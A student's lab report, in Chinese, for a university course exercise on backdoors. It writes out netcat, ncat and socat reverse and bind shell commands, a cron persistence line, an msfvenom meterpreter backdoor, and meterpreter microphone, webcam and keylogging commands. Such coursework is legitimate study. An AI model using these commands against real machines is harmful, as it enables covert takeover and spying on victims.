2018-2019-2 網絡對抗技術 20165320 Exp2 後門原理與實踐

後門原理與實踐

---

windows獲取Linux操做Shell

• 獲取本機的IP
  

• netcat介紹：一個進行基本的TCP、UDP數據收發的工具

• 相關的參數與具體用法
  

• windows打開監聽： ncat.exe -l -p 5320(學號)

• Linux反彈鏈接windows nc IP 5320(學號) -e /bin/sh

• windows命令行內輸入ls，查看實驗結果以下：
  

Linux獲取Windows操做shell

• Linux運行監聽：nc -l -p 5320

• Windows反鏈接Linux: ncat.exe -e cmd.exe ip_of_linux 5320

• Linux下可以看到windows命令行的提示符，實驗結果以下：
  

使用ncat進行數據的傳輸

• Linux運行監聽

• Windows反鏈接Linux

• Linux命令行中輸入數據，Windows能收到：
  

使用ncat進行文件傳輸

• windows運行監聽 ncat.exe -l 5320 > 20165320.txt

• Linux反鏈接windows nc 192.168.1.143 5320 < 20165320.txt

• 查看運行結果以下：
  

• 過程當中遇到的問題：我嘗試過用Linux運行監聽，windows反鏈接Linux，可是一直提示「因爲鏈接方在一段時間後沒有正確答覆或鏈接的主機沒有反應，鏈接嘗試失敗」，嘗試過關閉防火牆，可是依舊沒有用，目前還沒找到問題所在。

---

使用netcat獲取主機操做的Shell，cron啓動

• 在win10系統下啓動監聽：ncat.exe -l 5320

• 在Kali中使用crontab指令編輯一條任務，在任務的最後一行添加這樣一行:每小時多少分鐘進行一次反鏈接 + * * * * /bin/netcat 監聽的主機的IP 5320 -e /bin/sh
  

• 等到時間在win10命令行中輸入相關命令查看實驗結果：
  

使用socat獲取主機操做Shell，任務計劃啓動

• socat相關介紹：查找學姐的博客的相關內容能瞭解到socat是ncat的加強版，可以創建兩個雙向的字節流傳輸數據，具體格式爲 socat + 選項 + 地址 + 地址

• 在win10系統進入計算機管理界面

• 建立一個任務並添加一個觸發器，在操做選項中添加socat的文件路徑，並在添加參數輸入框中輸入：tcp-listen:5320 exec:cmd.exe,pty,stderr （命令前面能看懂是將cmd.exe與端口號綁定，後面那一串只知道stderr是標準錯誤輸出設備，stdout是標準輸入設備）
  
  

• 鎖屏後從新登錄查看到改任務已經運行成功
  

• 在Kali虛擬機的命令行中輸入以下指令：socat - tcp:192.168.1.143:5320，實驗結果以下：
  

使用MSF meterpreter（或其餘軟件）生成可執行文件，利用ncat或socat傳送到主機並運行獲取主機Shell

• 在Kali上輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊主機IP LPORT=5320 -f exe > 20165320_backdoor.exe生成一個後門程序，其中LHOST與LPORT應該是後門程序在被攻擊主機中運行時，反鏈接所須要的地址與端口號。
  

• 而後經過nc與ncat.exe將後門程序傳送到被攻擊主機

• 在Kali虛擬機使用msfconsole指令進入控制檯，使用監聽模塊設置payload，設置反彈回連的IP和端口，設置完成後執行監聽。
  

• windows運行後門程序，此時Kali能得到windows的遠程Shell，結果以下：
  
  

使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容

• 使用getuid指令獲取用戶名
  

• 使用record_mic指令截獲一段音頻
  

• 使用webcam獲取攝像頭的權限進行拍照：
  

• 使用screenshot進行截屏
  

• 使用keyscan_start指令記錄擊鍵過程，使用keyscan_dump獲取相關記錄
  

---

• 例舉你能想到的一個後門進入到你係統中的可能方式

  答：一個很明顯的方式就是不少同窗在某些遊戲網站上下載盜版遊戲時會有不少捆綁軟件，這些軟件毫無疑問是一些後門程序

• 例舉你知道的後門如何啓動起來(win及linux)的方式？

  答：釣魚，誘使用戶點擊一些不明連接，打開一些不明文件，圖片

• Meterpreter有哪些給你映像深入的功能？

  答：能生成一些後門程序，這個比較方便

• 如何發現本身有系統有沒有被安裝後門？

  答：好像能經過查看系統進程與一些自啓動項，裝殺毒軟件來進行防禦

---

實驗體會

• 這一次實驗能讓本身有一種真正接觸到網絡攻防的感受，可是仔細想了一下，作的仍是一些特別簡單的東西，現實生活中很難使用這樣的手段達到攻擊的目標，因此還須要努力學習專業知識，爭取能學到一些比較厲害的技術。